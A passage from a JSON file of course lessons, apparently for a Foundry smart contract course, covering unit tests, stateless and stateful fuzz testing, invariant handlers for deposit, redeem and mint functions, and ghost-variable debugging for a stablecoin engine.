{\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(user);\n uint256 expectedDepositedAmount = dsce.getTokenAmountFromUsd(weth, collateralValueInUsd);\n assertEq(totalDscMinted, 0);\n assertEq(expectedDepositedAmount, amountCollateral);\n }\n ...\n}\n```\n\nAfter this, we can run `forge coverage` again to see what our test coverage is like. I'm not going to walk you through writing all these tests (you can find more examples on the repo), but I encourage you to challenge yourself to write more tests for `DSCEngine.sol`.\n\nAt this point, it's important to note that you don't have to attain 100% code coverage. Sometimes, 85%-90% coverage is great, but your test architecture should be set up to spot glaring bugs.\n\n## In Conclusion\n\nRemember that writing tests is the critical way to validate that your code works as expected. Let AI bots like OpenAI's ChatGPT help you write tests, especially for those hard scenarios that need advanced logic. Bear in mind that sometimes your code is correct, but the test may be wrong. Keep debugging until your tests pass and cover as much of your code as possible. Lastly, be ready to refactor your code to make it testable, readable, and maintainable.\n\nWith this guide, you should be able to run adequate tests for your Ethereum smart contracts. Happy coding!\n", + "updates": [] + }, + { + "id": "0dce8f57-7346-45fa-84f9-b9384b575d59", + "number": 17, + "title": "Write fuzz tests", + "slug": "defi-writing-fuzz-tests", + "folderName": "17-defi-open-fuzz-tests", + "description": "Lesson 17 explores the implementation of fuzz tests in smart contract development, discussing both stateful and stateless fuzz testing. It focuses on enhancing the robustness of DApps through meticulous unit testing and refactoring.", + "duration": 14, + "videoUrl": "tPDG4HFm2bE", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/17-defi-open-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Open Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Unit Testing and Refactoring: Building Better and Secure DApps\n\nHello everyone! Welcome back, if you have been following along, you would remember that in our previous section, we had taken a dive into the world of bugs and test cases. We looked at how to identify bugs and, more importantly, how to build a comprehensive battery of test cases. 'Now, are your tests similar to the one I provided? Better? Worse? The point is to have high test coverage for all logical branches in our code. It’s an awesome feeling when we can identify and fix bugs proactively through high-quality tests.\n\n\n\n## Enhancing The Health Factor Function\n\nDuring this testing, I found a need to refactor some code. One significant change was the introduction of a `_calculateHealthFactor()` function. Why did I introduce it? This new function allowed me to create a similar `public` function which provided a great deal of clarity in calculating our service’s health factor. This indirectly turned out to be a very useful tool in our tests, enabling us to get an expected health factor. Consequently, it allowed easy handling of any errors if the actual and expected health factors didn’t match – especially in our test cases when we expected certain events.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n internal\n pure\n returns (uint256)\n {\n if (totalDscMinted == 0) return type(uint256).max;\n uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;\n }\n ...\n function calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n external\n pure\n returns (uint256)\n {\n return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);\n }\n ...\n}\n```\n\nThis refactoring served a double purpose – a much cleaner code and better visibility of our health factor calculation. In fact, by making this function `public`, the users of our service can play around with it to see how their changes impact the health factor.\n\n## Bug Hunting\n\nIn the debugging exercise, the main point of interest was the `Health Factor` functionality. The `_calculateHealthFactor()` function worked by fetching the account information and then appling the health factor calculation. Here, I found a bug relating to `totalDscMinted`. My fix included a new checker that would detect if the `totalDsdMinted` was zero. If it was indeed zero, we capped the health factor to a maximum (e.g., 256).\n\n```js\n ...\n if (totalDscMinted == 0) return type(uint256).max;\n ...\n```\n\nWhy was this checker important? Well, let’s consider a scenario. What if a user deposits a massive amount of collateral, but doesn't have any DSC Minted? The health factor calculation would divide by zero, causing the system to crash. We have to consider all edge cases to ensure our system is fail-proof.\n\n## Essential External Functions\n\nAdditionally, I added a lot of `external view functions` which would make it easier to interact with our protocol. This eased readability and made our protocol user-friendly.\n\nOf course, with every refactoring, there was an expanded library of test cases to cover all possible scenarios and close all loopholes. Nothing new here, as you’re already well-versed with writing robust test cases. And if your test coverage is around something like 90% – kudos, my friend! You’ve mastered the art of diligent testing in a complex project.\n\n## But...Are We Done Yet?\n\nI’m sure you’re beaming with pride on your accomplishments, and rightly so. But, I have to break it to you – we’re not done yet! We’re now taking up the gauntlet to write the most epic, mind-blowingly awesome code there ever is!\n\n\n\nRight off the bat, the question that you need to repeatedly ask yourself is, ‘What are our invariants properties?’ If you can answer this question correctly, you can write stateful and stateless fuzz tests for your code and harden your application against unforeseen edge cases.\n\n## Understanding Fuzz Testing\n\nIn the world of programming, regardless of how hard you try, it’s almost guaranteed that you will miss a certain edge case scenario. This is where an advanced form of testing called `Fuzz Testing` comes into play.\n\n\n\nAs we look at Fuzz Testing, we'll be exploring both stateful and stateless variants.\n\n## Stateless versus Stateful Fuzz Testing\n\nTo put it simply, the previous state doesn't impact the next run in stateless fuzzing. On the other hand, stateful fuzzing uses the state of the previous test run as the starting point for the next one. Here's an example of stateless fuzz testing:\n\nOur Contract:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract MyContract {\n uint256 public shouldAlwaysBeZero = 0;\n uint256 hiddenValue = 0;\n\n function doStuff(uint256 data) public {\n if (data ==2){\n shouldAlwaysBeZero = 1;\n }\n if (hiddenValue == 7){\n shouldAlwaysBeZero = 1;\n }\n hiddenValue = data;\n }\n}\n```\n\nOur Test:\n\n```js\n ...\n function testIAlwaysGetZeroFuzz(uint256 data) public {\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n }\n```\n\nIn the above example, the `doStuff` function should always return zero. The fuzz test will pass varying random arguments to our function, attempting to break this function. Here's a stateful fuzz test:\n\n```js\n...\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\n\ncontract MyContractTest is StdInvariant, Test {\n MyContract exampleContract;\n\n function setUp() public {\n exampleContract = new MyContact();\n targetContract(address(exampleContract));\n }\n\n function invariant_testAlwaysReturnsZero() public {\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n }\n}\n\n```\n\nThe above example is going to call the functions of `MyContract` randomly, with random data.\n\nThis functionality doesn't stop at the basics. If you're interested in exploring more advanced fuzzing strategies - stay tuned! We'll be diving deeper into this topic in our future posts.\n\n## Wrap Up\n\nLet's have a quick wrap-up of what we discussed today.\n\n- Unit testing is crucial in identifying and fixing bugs.\n- Refactoring not only yields cleaner code but also makes the system easier to understand and interact with.\n- Stateless and stateful fuzz testing is crucial in securing your smart contract.\n\nOverall, enhancements to your testing strategies can significantly increase the resilience and robustness of your platform. In conclusion, I urge you to keep those invariants in mind, keep writing those functions, and don’t let anyone undervalue your tests!\n\nUntil then – happy coding!\n", + "updates": [] + }, + { + "id": "d8723ab8-f2c0-4738-a404-7d67735bec48", + "number": 18, + "title": "Create the fuzz tests handler pt.1", + "slug": "create-fuzz-tests-handler", + "folderName": "18-defi-handler-fuzz-tests", + "description": "Part 1 of this lesson introduces the concept of fuzz testing in Foundry, focusing on creating detailed invariant tests for smart contracts. It guides through setting up the testing environment and structuring invariants and handlers.", + "duration": 20, + "videoUrl": "CUKJ2Fxu0As", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/18-defi-handler-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Handler Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Decoding the Magic of Fuzz Testing in Foundry\n\nChances are, you're here because you've heard about the magic that is **fuzz testing** or **invariant testing**. As developers, it's absolutely crucial for us to gain confidence that our code works as intended, especially when it comes to complex projects.\n\nAnd trust me, there's no better way to do this than by writing robust invariant tests.\n\n## Fuzz Testing - An Overview\n\nFuzz testing, also known as fuzzing, is a software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.\n\n\n\nIt's like throwing a wrench into a machine and watching to see if and how the machine breaks, giving you a better understanding of the machine's robustness, and how it might break in the future.\n\nWe could compare fuzz testing to an open basketball court where you get to shoot from anywhere you like. It's a fun way to get warmed up and get a feel for the game, especially at the beginning. But the problem is, you could be wasting valuable shots from improbable distances or awkward angles. Instead, you might want to focus on the three-point line or the free-throw line, which hold a higher value in an actual game scenario.\n\nThat's where targeted invariants and fuzz testing with handlers come in!\n\n## Fuzz Testing Vs Invariant Testing\n\nTo clarify, invariant testing is simply a type of fuzz testing. 'Invariant' just means stateful, or persistent.\n\nThe basic methodology, like we saw in the previous video, works okay. But as we start building more complex systems, we begin to see its limitations. Suffice to say, it represents an \"open\" targeted fuzz testing where all functions in a contract are called in any order, attempting to break the invariants.\n\nEnter **invariant testing with handlers**, the more advanced sibling, which curtails these seemingly random efforts with more focused techniques, and is what we'll be focusing more on in this piece.\n\n## Let's Get To Testing!\n\nEnough explanation, let's get our hands dirty! We are about to create some very detailed invariant tests to increase your confidence in your code.\n\n### Setting Up Your Environment\n\n\n\nFor our testing purposes, we're going to be using Foundry, a core framework which has a built-in test runner with invariants and handlers.\n\nTo set up your test, create a new test directory within your contract's root directory and add two test files; an invariants test file ( `InvariantsTest.t.sol` ) and a handlers file ( `Handlers.t.sol` ).\n\nIn your invariants test file, you will specify the properties of your system that should remain unaltered or invariant. Handlers, on the other hand, will ensure that these properties are observed in an orderly manner without wastage.\n\n### Invariants and Handlers Uncovered\n\nLet's take a deeper dive into our two new scripts — the invariants and handlers.\n\nYour invariants test file should look something like this:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\nimport {DeployDSC} from \"../../script/DeployDSC.s.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\nimport {HelperConfig} from \"../../script/HelperConfig.s.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract OpenInvariantsTest is StdInvariant, Test {\n DeployDSC deployer;\n DSCEngine dsce;\n HelperConfig config;\n address weth;\n address wbtc;\n\n function setUp() external {\n deployer = new DeployDSC();\n (dsc,dsc,config) = deployer.run();\n (,, weth, wbtc,) = config.activeNetworkConfig();\n targetContract(address(dsce));\n }\n\n function invariant_protocolMustHaveMoreValueThanTotalSupply() public view{\n //get the value of all the collateral in the protocol\n //compare it to all the debt (dsc)\n uint256 totalSupply = dsc.totalSupply();\n uint256 totalWethDeposited = IERC20(weth).balanceOf(address(dsce));\n uint256 totalBtcDeposited = IERC20(wbtc).balanceOf(address(dsce));\n\n uint256 wethValue = dsce.getUsdValue(weth, totalWethDeposited);\n uint256 wbtcValue = dsce.getUsdValue(wbtc, totalBtcDeposited);\n\n assert(wethValue + wbtcValue > totalSupply);\n }\n```\n\nHere, `totalSupply()` represents one such property that should always hold, geared towards maintaining the total supply of tokens.\n\nNow, let's move on to the handlers file. The handlers help you make efficient test runs and avoid wastage, by ensuring the invariants are checked in a specific order.\n\nFor instance, if you want to test the deposit of a token, the handlers ensure that the token is approved before depositing; this helps to avoid a wasted test run.\n\n### Using Invariant in Foundry\n\nIn the Foundry docs, we can see, the [invariant](https://book.getfoundry.sh/forge/invariant-testing) section allows you to\n\n- set the total number of `runs` for a test.\n- specify `depth`, representing the number of calls in a single run.\n- use `fail_on_revert`, to indicate whether the test should fail upon encountering a revert.\n\nWe can include the following in our `foundry.toml`:\n\n```js\n[invariant];\nruns = 128;\ndepth = 128;\nfail_on_revert = true;\n```\n\nLet's dissect the `fail_on_revert` keyword a bit further. By setting it to false, the test runner tolerates transaction reverts without causing the entire test run to fail. This is useful when you're first getting started or dealing with larger and more complex systems, where not all calls might make sense. This aligns better with the spirit of fuzz testing, where the tests can make wild attempts at breaking the invariants and those that fail with a revert are quietly ignored.\n\nOn the other hand, if set to true, any transaction that reverts is immediately flagged as a test failure. This is useful when you want a stricter assertion of behavioral norms and to quickly identify the condition that’s causing the revert.\n\nHere's some free advice for you: don't get overly excited if your tests pass initially. Instead, aim to find issues, by increasing the number of runs and depth, thus giving our fuzz testing more opportunities to find any hidden bugs.\n\nYou're also likely to find calls that reverted in the process, which should ring some alarm bells and prompt you to look into what could have caused these to fail. This is a easier job with `fail_on_revert: true`.\n\nThe reason for most reverts is that the fuzz may have tested a function with random values that didn't make sense in that context. To prevent such erroneous testing, this is where handlers come knocking once more, as they ensure your functions are called with values in the correct order and format.\n\n## In Conclusion, Invariance and Handlers are Your Allies\n\nThe benefit of working with handlers is that they guide the testing process in a way that makes sense within the context of your protocol, unlike traditional fuzz testing which can end up causing a multitude of function calls in random and improbable combinations.\n\nSo, one of our key takeaways from this deep dive into advanced testing practices is the utility and effectiveness of invariant testing with handlers. As our contract systems become more complex, traditional methods of fuzz testing become increasingly inefficient and can lead to significantly wastage.\n\nSo let's embrace the utility of handlers and tailor our testing specifically to the nuances of our contracts to get the most out of the process and shine a light on any hidden bugs that may be lurking in the shadows.\n\nI hope this guide sheds some light on fuzz and invariant testing, their upsides, and downsides, and how to get started writing such tests. I’ll love to hear how implementing these testing strategies work out for you. Keep coding!\n", + "updates": [] + }, + { + "id": "66e7be7e-257f-49a6-b4d2-d1dbf8806564", + "number": 19, + "title": "Create the fuzz tests handler pt.2", + "slug": "create-fuzz-tests-handler-part-2", + "folderName": "19-defi-handler-stateful-fuzz-tests", + "description": "In Part 2, the focus shifts to crafting optimized handlers for valid function calls in smart contracts. The lesson covers the groundwork of creating function handlers and improving test efficiency through valid and efficient function calls.", + "duration": 18, + "videoUrl": "FVYrIeMcCVY", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/19-defi-handler-stateful-fuzz-tests/+page.md", + "markdownContent": "---\ntitle: Handler Fuzz Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Smart Contract Fuzz Testing: Crafting Handlers for Optimized Valid Calls\n\nSoftware fuzz testing employs a variety of techniques, one of which is handling functions in a manner to ensure valid calls. This section takes you on a comprehensive examination on how to create handlers for smart contracts that will allow you to make valid calls and scan for potential vulnerabilities in your contracts.\n\n## Establishing the Groundwork\n\nIn simple terms, handlers are scripts we create that handle the way we make calls to the Decentralized Stablecoin Engine (`dsce`) - only enabling calls under the condition that the required variables or functions for the call are available and valid.\n\nThis minimizes the chance of wasted function calls which attempt to execute tasks with no valid foundation.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\n\ncontract Handler is Test {\n DSCEngine dsce;\n DecentralizedStablecoin dsc;\n\n constructor(DSCEngine _dscEngine, DecentralizedStablecoin _dsc) {\n dsce = _dsce;\n dsc = _dsc;\n }\n}\n```\n\nTo make sure we generate valid calls, we consider several factors. For instance, there's no logic in calling the 'redeemCollateral' function when there is no collateral to redeem. The handler-script becomes a fail-safe mechanism to avoid such redundancies.\n\n## Handling Function Calls\n\nTo guard against invalid random calls, we define how to make function calls in the handler. For example, the `depositCollateral` function should first validate the collateral before calling it.\n\n```js\n...\ncontract Handler is Test {\n ...\n function depositCollateral(address collateral, uint256 amountCollateral) public {\n dsce.depositCollateral(collateral, amountCollateral);\n }\n}\n```\n\nWe need to adjust our `Invariants.t.sol` script to leverage the handler contract we're creating. To do this, we change the target contract the test script is referencing for it's fuzz testing:\n\n```js\n...\nimport {Handler} from \"./Handler.t.sol\";\n...\ncontract OpenInvariantsTest is StdInvariant, Test {\n DeployDSC deployer;\n DSCEngine dsce;\n HelperConfig config;\n address weth;\n address wbtc;\n Handler handler;\n\n function setUp() external {\n deployer = new DeployDSC();\n (dsc,dsc,config) = deployer.run();\n (,, weth, wbtc,) = config.activeNetworkConfig();\n handler = new Handler(dsce,dsc);\n targetContract(address(handler));\n }\n...\n```\n\nNow, when we run our invariant tests, they will target our `Handler` and only call the functions we've specified within the `Handler` contract, in this case `depositCollateral`. However, the function is still being called randomly, with random data and we can do better. We know that random data for the collateral addresses is going to fail, so we can mitigate unnecessary calls be providing our function with seed addresses:\n\n```js\n...\nimport {ERC20Mock} from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n...\ncontract Handler is Test {\n ...\n ERC20Mock weth;\n ERC20Mock wbtc;\n ...\n constructor (DSCEngine _dscEngine, DecentralizedStableCoin _dsc){\n dsce = _dsce;\n dsc = _dsc;\n\n address[] memory collateralTokens = dsce.getCollateralTokens();\n weth = ERC20Mock(collateralTokens[0]);\n wbtc = ERC20Mock(collateralToken[1]);\n }\n\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n dsce.depositCollateral(address(collateral), amountCollateral);\n }\n\n // Helper Functions\n function _getCollateralFromSeed(uint256 collateralSeed) private view returns (ERC20Mock){\n if (collateralSeed % 2 == 0){\n return weth;\n }\n return wbtc;\n }\n}\n```\n\nWhew, that's a lot! Now when we call the tests in our handler, the `depositCollateral` functon will only use valid addressed for collateral provided by our `_getCollateralFromSeed()` function\n\n## Improving Efficiency\n\nThe key to handling function calls is efficiency. Unnecessary or invalid function calls increase iteration loops, resulting in performance issues.\n\nAs you gradually cut down on unnecessary calls, monitor your error reports. Configuring the `failOnRevert` parameter to `true` helps you identify why a test is failing.\n\nLastly, remember not to artificially narrow down your handler function to a state where valid edge cases get overlooked.\n\n\n\n## Wrapping Up\n\nIn conclusion, the vital role of handler-functions in making valid calls during fuzz testing is to optimize performance and catch potential vulnerabilities in the smart contracts. The process demands a continuous balance between weeding out invalid calls and maintaining allowance for valid edge cases.\n\nHowever, always aim for a minimal rejection rate i.e., the `failOnRevert` parameter set to `false`. A perfect handler function will maximize successful runs and reduce reverts to zero.\n\nYou may need to adjust the deposit size to a feasible limit to prevent an overflow when depositing collateral. Ideally, the collateral deposited is lower than the maximum valid deposit size. After completion, every function call should pass successfully, signifying a well-secured contract with high potential for longevity.\n\nHappy testing!\n", + "updates": [] + }, + { + "id": "1e5c8f0c-1f20-48bb-ad1f-553b3efa7759", + "number": 20, + "title": "Create the collateral redeemal handler", + "slug": "defi-handler-redeeming-collateral", + "folderName": "20-defi-handler-redeeming-collateral", + "description": "This lesson delves into the mechanisms of handling collateral in blockchain transactions. It focuses on the implementation and testing of functions for depositing and redeeming collateral, emphasizing the importance of validity checks.", + "duration": 6, + "videoUrl": "6VMj3ufdmrw", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/20-defi-handler-redeeming-collateral/+page.md", + "markdownContent": "---\ntitle: Handler - Redeeming Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# Handling Collaterals in Blockchain Transactions\n\nToday we will dive into blockchain transactions and the handling of collaterals within those transactions. Specifically the deposit and redemption process of the collateral will be our focus. We will decipher a function for depositing collateral and subsequently a validation function for redeeming it. Details of implementing these functions and some interesting test cases will also be discussed.\n\n## Implementation : Collateral Deposit Function\n\nThis function ensures that the submitted collateral is a valid deposit.\n\n```js\n...\ncontract Handler is Test {\n ...\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n dsce.depositCollateral(address(collateral), amountCollateral);\n }\n ...\n}\n```\n\nIn this function, the type of collateral to deposit and amount of collateral to deposit are two required inputs which are Blockchain's unsigned integer represented in form of function arguments.\n\n## Implementation : Collateral Redemption Function\n\nAfter defining the deposit function, let's talk about the collateral redemption function. It's the process of retrieving a specific type of collateral from the deposited pool. The `redeemCollateral()` function, similar to the deposit function, takes an argument that specifies the type of collateral to redeem.\n\nThe function below shows the implementation of this process:\n\n```js\n function redeemCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed);\n dscEngine.redeemCollateral(address(collateral), amountCollateral);\n }\n```\n\n\n\n```js\n...\n function getCollateralBalanceOfUser(address user, address token) external view returns(uint256){\n return s_collateralDeposited[user][token];\n }\n...\n```\n\n## Implementing Validity Checks\n\nThe `redeemCollateral()` function must have an the above check for validity. This is to ensure that the redemption request is not more than what the user has deposited. We do this by bounding the redemption amount between one and the max collateral to redeem.\n\n```js\n ...\n uint256 maxCollateral = dscEngine.getCollateralBalanceOfUser(msg.sender, address(collateral));\n\n amountCollateral = bound(amountCollateral, 1, maxCollateral);\n if (amountCollateral == 0) {\n return;\n }\n ...\n```\n\nThe whole function should look like this:\n\n```js\n ...\n function redeemCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed);\n uint256 maxCollateral = dscEngine.getCollateralBalanceOfUser(msg.sender, address(collateral));\n\n amountCollateral = bound(amountCollateral, 1, maxCollateral);\n if (amountCollateral == 0) {\n return;\n }\n dscEngine.redeemCollateral(address(collateral), amountCollateral);\n }\n ...\n```\n\n## Exploring Edge Cases and Fixing Code Breaks\n\nRunning the above function may result in throwing an edge case as an error. In our example, it exposed a mistake in the bounding process. If the max collateral to redeem is zero, the system breaks. A solution to this is to keep zero as a valid input.\n\nThen, we need to check if the collateral amount after bounding is equal to zero. If yes, we can simply return, else we would call the redeem collateral function.\n\n```js\namountCollateral = bound(amountCollateral, 0, maxCollateral);\nif (amountCollateral == 0) {\n return;\n}\n```\n\n## Enhancing Adequacy of Test Cases with Fail and Revert\n\nSo far, we have ensured that the transactions are operating as intended. However, to stream out all possible scenarios for handling Collaterals, failing criteria with blanket reverts should be avoided. Inclusion of test cases which do not fail on revert allows broader coverage of potential edge cases and glitches in transaction handling. Consideration of such trade-off prospects in the design of fail criteria lends to the overall system robustness.\n\nIn conclusion, handling collaterals effectively necessitates robust deposit and redemption functions, comprehensive edge testing and safeguards for potential system inadequacy through well-thought strategies. Happy coding!\n", + "updates": [] + }, + { + "id": "37d41dd8-7170-4be4-aeb9-4e85822650f6", + "number": 21, + "title": "Create the mint handler", + "slug": "defi-handler-minting-dsc", + "folderName": "21-defi-handler-minting-dsc", + "description": "Lesson 21 guides through testing the 'mintDsc()' function in DSCEngine. It involves creating a handler function to ensure safe minting of DSC, considering the user's health factor and the system's overall stability.", + "duration": 6, + "videoUrl": "Gsk_KZ1D6zs", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/21-defi-handler-minting-dsc/+page.md", + "markdownContent": "---\ntitle: Handler - Minting DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Decoding DSC: A Journey into testing the \"Mint Function\"\n\nIn our previous parts, we discussed the concepts of fuzz testing our `depositCollateral()` and `redeemCollateral()` functions. Today, we'll be walking you through one of the key functions we need to test, the `mintDsc()` function.\n\n## A Walk Through the Mint Function Test\n\nOur `mintDsc()` function within `DSCEngine.sol` takes a `uint256 amount`. So our handler test will do the same, we also have to restrict our handler function to avoid reverts! Our `mintDsc()` function currently requires that `amount` not be equal to zero, and that the amount minted, does not break the user's `Health Factor`. Let's look at how this handler function is built:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amountDsc) public {\n vm.prank(dsc.owner());\n dsc.mint(msg.sender, amountDsc);\n }\n ...\n```\n\nThe above handler function ensures we're minting a random amount of DSC. But, there's a catch, we can't just let \"amount\" be an undefined value. It can't be zero, and the user should ideally have a stable health factor.\n\n```js\namount = bound(amountDsc, 1, MAX_DEPOSIT_SIZE);\n```\n\nThis adjustment makes sure the \"amount\" sits in between 1 and the maximum deposit size. Now let's make sure we aren't breaking the user's `Health Factor` with this call. We can do this by calling the `getAccountInformation()` function and checking what's returned with what the user is trying to mint:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amount) public {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(msg.sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(msg.sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n }\n}\n```\n\nIn the above function, we are constraining the amount minted to be greater than zero before minting any DSC. In addition to this, we're checking the user's `totalDscMinted` vs their `collateralValueInUsd` to ensure their account's `health factor` is not at risk and they don't risk liquidation.\n\n## Victory Looks Like This!\n\nLo and behold, let's run the functional mint DSC and observe the result.\n\n\n\nYou should notice that we've performed multiple calls without any reverts, and that's exactly what success looks like! Your mint function is now up and running and ready to increase the supply of DSC.\n\nStay tuned for our next adventure! We hope you are now more comfortable with testing the mechanism used for injecting tokens into the DSC ecosystem.\n\n\n", + "updates": [] + }, + { + "id": "399e5ce5-9d20-42f0-ac73-202b21e53bd0", + "number": 22, + "title": "Debugging the fuzz tests handler", + "slug": "defi-handler-fuzz-debugging", + "folderName": "22-defi-handler-fuzz-debugging", + "description": "This lesson explores debugging strategies for smart contracts, particularly focusing on the use of 'ghost variables' to track function calls. It provides insights into handling errors and refining the testing process for better outcomes.", + "duration": 9, + "videoUrl": "NPRIcNWuEzU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/22-defi-handler-fuzz-debugging/+page.md", + "markdownContent": "---\ntitle: Handler - Stateful Fuzz Test Debugging\n---\n\n_Follow along the course with this video._\n\n\n\n# Debugging Your Code Using Ghost Variables\n\nRecently, I was stuck in frustrating debugging mode, continually getting a 'total supply of zero' message, even though there was plenty of WETH and wrapped bitcoin about. The questions plaguing my attempts were: are we ever calling this function? Why are we getting a total supply of zero all the time? Eventually, I managed to crack the nut and here's how I did it, featuring a mysterious ghost variable, and other coding challenges to wrap your brain around.\n\n## What are Ghost Variables?\n\nIf you have ever wondered if your function is not being called, then it's time to introduce a `ghost variable`. Although it sounds incredibly spooky, they are a practical way to track if a function is even being called. Here's how to use one. We want to create a variable named `timesMintIsCalled` which we use in our `Handler.t.sol` to track whether or not our `_mintDsc()` function is being called.\n\n```js\n...\ncontract Handler is Test {\n ...\n uint256 public timesMintIsCalled;\n ...\n function mintDsc(uint256 amount) public {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(msg.sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(msg.sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n timesMintIsCalled++;\n }\n}\n```\n\nThen, when you run your test once again, you might see that `mintDsc()` is never called. Baffling indeed, but it might be because of a hit return that is stopping the call prematurely.\n\nIt's crucial to debug this situation, and there are various methods you could employ to achieve that. Personally, I found the most successful way through moving the `timesMintIsCalled++;` further upwards in the code until I found the line it was breaking on. Then, by console logging all the values of the variables around, I unearthed some very interesting insights, which brings us onto the second part:\n\n## The Importance of the Message Sender\n\n\n\nAnd, how does one keep a track of users who have deposited collateral? One way is, we can create an array of addresses in `Handler.t.sol` and push to this array `msg.sender` each time collateral is deposited. We'll then use this array in our `mintDsc()` function as a seed.\n\n```js\n...\ncontract Handler is Test {\n ...\n uint96 public constant MAX_DEPOSIT_SIZE = type(uint96).max;\n uint256 public timesMintIsCalled;\n address[] public usersWithCollateralDeposited;\n ...\n function depositCollateral(uint256 collateralSeed, uint256 amountCollateral) public {\n ERC20Mock collateral = _getCollateralFromSeed(collateralSeed)\n amountCollateral = bound(amountCollateral, 1, MAX_DEPOSIT_SIZE);\n dsce.depositCollateral(address(collateral), amountCollateral);\n\n vm.startPrank(msg.sender);\n collateral.mint(msg.sender, amountCollateral);\n collateral.approve(address(dsce), amountCollateral);\n dsce.depositCollateral(address(collateral), amountCollateral);\n vm.stopPrank();\n usersWithCollateralDeposited.push(msg.sender);\n }\n}\n```\n\nNote that this can cause duplicate users by pushing the same address multiple times, but hey, let's keep it simple for now.\n\nNow, back in Mint DSC, you can do something similar to what you did with collateral. Here's a small code snippet to help:\n\n```js\n...\ncontract Handler is Test {\n ...\n function mintDsc(uint256 amount, uint256 addressSeed) public {\n address sender = usersWithDepositedCollateral[addressSeed % usersWithDepositedCollateral.length];\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(sender);\n\n int256 maxDscToMint = (int256(collateralValueInUsd)/2) - int256(totalDscMinted);\n if(maxDscToMint < 0){\n return;\n }\n amount = bound(amount, 0, uint256(maxDscToMint));\n if (amount == 0){\n return;\n }\n\n vm.startPrank(sender);\n dsce.mintDsc(amount);\n vm.stopPrank();\n }\n}\n```\n\nWhen you run the above test, you may get an error...\n\n## Avoid Errors With Some Conditions\n\nIt's also crucial to handle any errors. The error we're seeing is due to our modulo `%` resulting in zero when `usersWithCollateralDeposited.length` is zero. In this case, before the code runs, you can add a condition to return if users with collateral length equals zero. This helps you skip calls where collateral is not deposited.\n\n```js\n...\nfunction mintDsc(uint256 amount, uint256 addressSeed) public {\n if(usersWithDepositedCollateral.length == 0) {\n return;\n }\n ...\n}\n```\n\nAfter these corrections, I found that the total times Mint was called was now 31 and we were getting a total supply. This signaled that the `mintDsc()` function in our handler was now actually working, and we were successfully calling `mintDsc()`!\n\n## Always Check Your Getters\n\nFinally, be sure to always check your getters. It's wise to always include an invariant function `invariant_gettersShouldNotRevert()`. Getters can be inserted here and if any of them revert, that would mean the function broke an invariant.\n\n```js\nfunction invariant_gettersShouldNotRevert() public view {\n ...\n dsce.getLiquidationBonus();\n dsce.getPrecision();\n ...\n}\n```\n\nAnd to make sure you're including everything, you can use something like `forge inspect methods`. This will reveal all methods that this contract has along with its function selectors. Look for all the view functions, and that can be used as a checklist of functions to call on a contract in your tests.\n\nThat's all for today! I hope you found this helpful for debugging your code and understanding better how to navigate the inevitable coding obstacles. Most 